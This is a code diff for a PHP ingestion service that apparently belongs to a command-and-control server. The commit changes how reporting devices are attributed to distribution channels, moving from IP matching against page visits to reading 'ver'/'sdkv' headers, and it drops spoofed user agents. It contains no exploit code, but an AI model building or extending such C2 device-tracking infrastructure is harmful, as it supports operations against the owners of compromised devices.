feat: new channel
This commit is contained in:
@@ -151,7 +151,8 @@ class IngestService
|
||||
/**
|
||||
* Other C2 routes — create device if missing so business rows can attach.
|
||||
* Old builder: never write channel_id here (put will fill it later).
|
||||
* New builder: IP-match iptj on create and when channel_id is still empty.
|
||||
* New builder core (`/a`, `/u`, `/event`): channel_id from ver/sdkv headers when present.
|
||||
* Other new-builder routes: create device without writing channel_id.
|
||||
*/
|
||||
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
@@ -162,7 +163,7 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) {
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
|
||||
|
||||
return $existing->refresh();
|
||||
@@ -251,15 +252,19 @@ class IngestService
|
||||
|
||||
/**
|
||||
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
|
||||
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
|
||||
* attribute via recent PageVisit IP. Device is still created if no visit matches.
|
||||
* New xxbb core (`/a`, `/u`, `/event`): channel_id from request header `ver` or `sdkv`.
|
||||
* Other xxbb short paths: never write channel_id (device may still be created).
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
|
||||
{
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
return $this->matchNewBuilderVisit($request->ip());
|
||||
if (! $this->isXxbbCoreRequest($request)) {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
return $this->channelFromVerHeaders($request);
|
||||
}
|
||||
if ($allowOldC) {
|
||||
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
|
||||
@@ -273,69 +278,35 @@ class IngestService
|
||||
return (bool) $request->attributes->get('coruna_new_builder', false);
|
||||
}
|
||||
|
||||
private function isXxbbCoreRequest(Request $request): bool
|
||||
{
|
||||
return (bool) $request->attributes->get('coruna_xxbb_core', false);
|
||||
}
|
||||
|
||||
/**
|
||||
* Latest iptj/pixel visit in the last N minutes whose channel_id is a
|
||||
* new-builder channel, and no device from this client IP has already
|
||||
* claimed that channel. Same IPv4 / IPv4-mapped IPv6 is preferred;
|
||||
* otherwise a recent visit still matches across address families
|
||||
* (Safari iptj is often v4, native /event often v6).
|
||||
* Core reports ver/sdkv as the per-channel patch string (X.Y.ZZ, 6 chars).
|
||||
* Missing or invalid headers → null channel_id; device is still created.
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function matchNewBuilderVisit(?string $ip): array
|
||||
private function channelFromVerHeaders(Request $request): array
|
||||
{
|
||||
$ip = PageVisit::normalizeIp($ip);
|
||||
if ($ip === '') {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
|
||||
$visits = PageVisit::query()
|
||||
->where('created_at', '>=', now()->subMinutes($minutes))
|
||||
->orderByDesc('id')
|
||||
->get();
|
||||
if ($visits->isEmpty()) {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
$ipKeys = PageVisit::ipLookupKeys($ip);
|
||||
$sameIp = $visits->filter(
|
||||
static fn (PageVisit $visit) => in_array(PageVisit::normalizeIp($visit->ip), $ipKeys, true)
|
||||
);
|
||||
foreach ($sameIp->concat($visits->diff($sameIp)) as $visit) {
|
||||
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
|
||||
if ($code === null) {
|
||||
foreach (['ver', 'sdkv'] as $header) {
|
||||
$raw = trim((string) $request->header($header, ''));
|
||||
if ($raw === '') {
|
||||
continue;
|
||||
}
|
||||
$channel = Channel::query()
|
||||
->where('channel_id', $code)
|
||||
->where('builder_type', Channel::BUILDER_NEW)
|
||||
->first();
|
||||
if ($channel === null) {
|
||||
continue;
|
||||
$code = Channel::normalizeNewChannelId($raw);
|
||||
if ($code !== null) {
|
||||
return ['channel_id' => $code, 'source_domain' => null];
|
||||
}
|
||||
$claimed = Device::query()
|
||||
->where('channel_id', $code)
|
||||
->whereIn('ip', $ipKeys)
|
||||
->exists();
|
||||
if ($claimed) {
|
||||
continue;
|
||||
}
|
||||
$domain = $this->sourceDomainFromVisit($visit);
|
||||
|
||||
return ['channel_id' => $code, 'source_domain' => $domain];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function sourceDomainFromVisit(PageVisit $visit): ?string
|
||||
{
|
||||
return PageVisit::normalizeDomain($visit->domain);
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
|
||||
{
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
@@ -345,8 +316,12 @@ class IngestService
|
||||
'channel_id' => $attr['channel_id'],
|
||||
'source_domain' => $attr['source_domain'],
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
|
||||
if (! $this->isNewBuilderRequest($request)) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
}
|
||||
}
|
||||
|
||||
$device = Device::query()->create($attrs);
|
||||
|
||||
Reference in New Issue
Block a user